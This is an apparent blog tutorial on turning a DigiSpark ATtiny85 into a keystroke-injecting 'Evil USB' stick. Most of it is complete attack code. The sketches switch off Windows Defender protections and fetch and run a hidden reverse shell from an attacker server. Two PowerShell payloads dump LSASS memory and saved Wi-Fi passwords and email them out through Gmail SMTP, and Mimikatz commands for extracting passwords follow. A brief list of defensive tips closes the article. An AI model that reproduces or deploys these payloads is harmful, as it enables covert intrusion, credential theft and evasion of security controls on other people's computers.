HID Attack - Crafting a cheap Evil USB Stick

HID attacks are using USB devices that are programmed with malicious software. During this attack the malicious USB stick emulates a keyboard to send harmful keystrokes to a target machine. This article explores the creation of such a USB stick.

Table of Contents

Requirements

To embark on this journey, you’ll need the following:

  • DigiSpark attiny85: Obtainable inexpensively (under 10€)
  • Arduino IDE: An open-source electronic prototyping platformArduino Website
  • Proper modules for DigiSpark (guide to do so)

Getting Started

  1. Open Arduino IDE and navigate to File > Preferences. Add the following URL to the “Additional Boards Manager URL”:
  2. Set the correct board by going to Tools > Boards and selecting “Digistump AVR boards.” Then, choose Boards > Digistump AVR board and select “DigiSpark 16mhz.”
  3. Add the provided code to a new sketch:

     #include "DigiKeyboard.h"
    
     void setup() {
       //empty
     }
    
     void loop() {
       DigiKeyboard.delay(2000);
       DigiKeyboard.sendKeyStroke(0);
       DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
       DigiKeyboard.delay(600);
       DigiKeyboard.print("<MyCommand>");
       DigiKeyboard.sendKeyStroke(KEY_ENTER);
       DigiKeyboard.delay(5000);
       for(;;){ /*empty*/ }
     }
    
  4. Press the upload button to push the code to the connected device.

  5. Wait until the code has been uploaded. Unplug and plug the device back in to execute the payload on the USB.

Adapting for Different Keyboards

If the target machine has a keyboard layout different from QWERTY, you need to make some adjustments.

Required Changes

  1. Go to library management in Arduino IDE and search for DigiKeyboard.
  2. Select the correct library for the payload (e.g., DigiKeyboardFr, DigiKeyboardBe).
  3. Set the correct header in the application: #include “DigiKeyboardFr.h” and replace the DigiBoard class name with DigiBoardFr.

Sample:

#include "DigiKeyboardFr.h"

void setup() {
  // 
}

void loop() {
  DigiKeyboardFr.sendKeyStroke(KEY_FR_R,MOD_GUI_LEFT);
  DigiKeyboardFr.delay(500);
  DigiKeyboardFr.print("cmd");
  DigiKeyboardFr.sendKeyStroke(KEY_ENTER , MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboardFr.delay(500);
  DigiKeyboardFr.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboardFr.sendKeyStroke(KEY_ENTER);
  DigiKeyboardFr.delay(10000);
}

Weaponized Example - (Undetected) Reverse Shell

This DigiSpark script gives you access to a system through a reverse connection within seconds. Just upload the code to the DigiSpark and BOOM!

What Makes This Special?

  1. All the opened windows are closed as soon as the task is done, other tasks which need a window running to perform their task such as reverse shells are moved to the background and are only visible through the Task Manager.
  2. As Tamper Protection and Real Time Monitoring is turned off, any commonly used payload such as Msfvenom payload can be used to gain a reverse shell.
  3. The payload is not stored on the system so the victim can’t trace back any details about the attack such as the server hosting the payload.
  4. Tested on: Windows 10 and 11

Requirements

  • DigiSpark ATTiny85
  • Arduino IDE with necessary modules.
  • A Powershell reverse TCP payload. (I use and prefer a hoaxshell payload.)
  • You might require obfuscation to evade M$ Defender. Check out this video
  • A server hosting your payload. Choose the right fitting one for you, based on the network exposure.

    For private network attacks:

    • Updog
    • python3 -m http.server 8443

    For public network attacks:

    • Ngrok
    • AWS Lambda with static URL

How It Works?

  1. The script starts with disabling Tamper Protection, which is the part of Microsoft Windows Defender. Disabling this allows us to change Windows Defender related settings straight from CLI.
  2. Now the script opens powershell and turns of Real Time Monitoring allow any type of malware/payloads to run on the system.
  3. Now the payload is downloaded to the system. Its not stored on the system, its just executed. So no house cleaning is needed.

The Code

Make sure to add the IP of your hosted Payload Server and have fun:

#include "DigiKeyboard.h"
void setup() {
  
}

void loop() {
  //Disable Tamper Protection (allows us to change Windows Defender settings through the CLI)"
  DigiKeyboard.delay(200);
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("Tamper Protection");
  DigiKeyboard.delay(200);
  DigiKeyboard.sendKeyStroke(79);
  DigiKeyboard.delay(200);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // tab 4
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(43); //43 stands for the ALT key.
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(43);
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(KEY_SPACE);
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(400);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(600);

// Turns off Real Time Monitoring. High delays are added in this section, edit them according to your target.
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell -w hidden start powershell -A 'Set-MpPreference -DisableRea $true' -V runAs");
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(4000);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(2000);

// Downloads the payload and executes it in the background. Payload isn't stored, just executed. Use task manager to terminate the shell.
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell -windowstyle hidden \"IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/shell.ps1');\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  
  for (;;) {
    /*empty*/
  }
}

Debugging

  • Why is the script not uploading? This can be caused due to many issues. Common ones are listed below.

  • Low Storage - The DigiSpark ATTiny85 has 8KB of storage and 2KB is occupied by the bootloader. So you are just left with 6KB of storage which is usually enough for most projects. Every project in this repository has 2 scripts one which uses less storage as some values are changed to their “codenames” and the other one doesn’t use these “codenames” so that the script is readable.

  • Errors - You script may have some errors which won’t allow the script to be uploaded to your micro controlled. You can click on the “Verify” button to get more information about the error.

  • Modules - Not having modules or having wrong modules may cause this problem. Refer to this guide to setup Arduino IDE to work with DigiSpark.

  • Why does my DigiSpark disconnect and reconnect before executing my script?

    This is common with almost every DigiSpark and doesn’t mean that your microcontroller has any type of problem.

    If the script is not executed after DigiSpark has disconnected and reconnect then the microcontroller might have some issues.

  • Do I need to solder/connect the pins to the board before using my DigiSpark

    No, the pins are only needed when any external electrical module is being used which is not the case here as we are performing HID based attacks. So soldering these pins are not needed at all.

Protection

It’s actually not very hard, you have to just follow these four steps, and you will be hardened against these HID attacks!

  1. Passwords for Admin Privileges - Usually windows prompts you with a Yes and No button whenever we run a application with admin privileges but this can be changed by using Windows Settings and prevents these HID attacks as they are programmed to click on that Yes button only.

  2. Random USBs - This one is simple, just don’t plug in random USB devices into your device. No matter what it is, even a charging cord can inject code in your system and potentially gain access or cause some kind of damage.

  3. Lock your System - Locking your system before being AFK helps you to be immune to these attacks as the attack will need a password to get into the system and perform the task using the microcontroller . This can be done by Windows + L on windows and most of the linux systems and Shift + Command + Q on OSX.

  4. DuckHunt - If you’re using Linux try this

Arbitrary Payload downloader and execution Keyboard Sketch

Use this code below for the attack scenarios:

  1. Send LSASS Dump
  2. Steal WLAN Credentials
#include "DigiKeyboard.h"

void setup() {
  // don't need to set anything up to use DigiKeyboard
}

void loop() {
  // this is generally not necessary but with some older systems it seems to
  // prevent missing the first character after a delay:
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);
  
  // start elevated prompt
  DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  // cmd with administrative privilege done

  DigiKeyboard.delay(5000);

  //Download powercat and setup reversed shell 
  DigiKeyboard.print("powershell -ExecutionPolicy Bypass -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.Webclient).DownloadString('http(s)://c2/webserver/LSASS-Dump.ps1')");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
   DigiKeyboard.delay(500);
  // reversed shell done

  digitalWrite(1, HIGH); //turn on led when program finishes
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW); 
  DigiKeyboard.delay(5000);
  // second led on you can remove the the Evil USB Stick
}

Weaponized Example - Send LSASS Dump

Below you find a script for retrieving a LSASS dump using the sysinternals procdump tool and the arbitrary payload downloader from above. The looted dump file is automatically send to an email address which can be configured in the variables.

The Payload

# started this script for a Evil USB DigiSpark project.
# script for retrieving dump from lsass for later use with mimikatz.

# setup variables
$GmailAccount = ''
$GmailPassWord = ''
$FromAddress = ''
$ToAddress = ''
$Subject = 'Send LSASS Dump'
$Attachment = 'C:\Windows\Temp\dump.zip'

# Sysinternals Live procdump and outfile
$x86 = 'https://live.sysinternals.com/tools/procdump.exe'
$86 = 'procd32.exe'
$x64 = 'https://live.sysinternals.com/tools/procdump64.exe'
$64 = 'procd64.exe'

# set working directory
Set-Location -Path $env:tmp -PassThru
    New-Item dump -ItemType Directory -Force
    New-Item dump.zip -ItemType File -Force

# determine OS and download correct version
$OS = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
    If ($OS -match '64'){(Invoke-WebRequest -Uri $x64 -OutFile $64)} 
        Else {(Invoke-WebRequest -Uri $x86 -OutFile $86)}

# make the lsass dump with the correct version
    If ($OS -match '64'){(Invoke-Command -ScriptBlock {procd64.exe -ma -o lsass.exe lsass -accepteula})}
        Else {(Invoke-Command -ScriptBlock {procd32.exe -ma -o lsass.exe lsass -accepteula})}

# dump is created. copy, compress and move
$src = Resolve-Path $env:tmp\dump 
$dst = Resolve-Path $env:tmp\dump.zip
    Copy-Item lsass.dmp $env:tmp\dump
         If(Test-path $dst) {Remove-item $dst}
        Add-Type -assembly "system.io.compression.filesystem"
        [io.compression.zipfile]::CreateFromDirectory($src, $dst)
        
    Move-Item $env:tmp\dump.zip $Attachment

# setup the mail server and mail file
$SMTPServer = 'smtp.gmail.com'
$SMTP = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTP.EnableSsl = $true
$SMTP.Credentials = New-Object System.Net.NetworkCredential($GmailAccount,$GmailPassWord)
$Message = New-Object System.Net.Mail.MailMessage
$Message.From = $FromAddress
$Message.To.Add($ToAddress)
$Message.Subject = $Subject
$Message.IsBodyHtml = $True
$Attach = new-object Net.Mail.Attachment($Attachment)
$Message.Attachments.Add($Attach)
$SMTP.Send($Message)

Steps after retrieving the LSASS Dump

After receiving the dump file you can examine it and retrieve the passwords:

Run Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords

Weaponized Example - Loot WLAN credentials

Below you find a script for retrieving all WLAN information with credentials and the arbitrary payload downloader from above. The dump will be sent to a given mail address.

# setup variables
$GmailAccount = ''
$GmailPassWord = ''
$FromAddress = ''
$ToAddress = ''
$Subject = 'Netsh Ripper'


# set working directory
Set-Location -Path $env:tmp -PassThru

# paths and regex
$InputPath = 'C:\Windows\Temp\out.txt'
$OutputFile = 'C:\Windows\Temp\output.txt'
$NetshResult = 'C:\Windows\Temp\result.txt'
$regex = "\s:[a-zA-Z0-9]*.[a-zA-Z0-9]*.*"

# write the wlan profiles to an text file
netsh wlan show profiles | Out-File $InputPath

# parse output
Select-String -Path $InputPath -Pattern $regex -AllMatches  | select Matches  | Out-File $OutputFile
(Get-Content $OutputFile) -replace '{ : ','' -replace '}','' -replace '\  +', ''| Select-Object -Skip 3 | Set-Content $OutputFile

# look into all profile entry's
$Result = foreach ($WiFi in Get-Content $OutputFile) {
netsh wlan show profile name="$WiFi" key=clear
} 

# write output
$Result | Out-File $NetshResult

# setup the mail server and mail file
$SMTPServer = 'smtp.gmail.com'
$SMTP = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTP.EnableSsl = $true
$SMTP.Credentials = New-Object System.Net.NetworkCredential($GmailAccount,$GmailPassWord)
$Message = New-Object System.Net.Mail.MailMessage
$Message.From = $FromAddress
$Message.To.Add($ToAddress)
$Message.Subject = $Subject
$Message.IsBodyHtml = $True 
$Attachment = $NetshResult
$Attach = new-object Net.Mail.Attachment($Attachment) 
$Message.Attachments.Add($Attach)
$SMTP.Send($Message)

Stay vigilant, and may your cybersecurity defenses remain resilient against such potential threats.

Written on January 13, 2024


◀ Back to attack related posts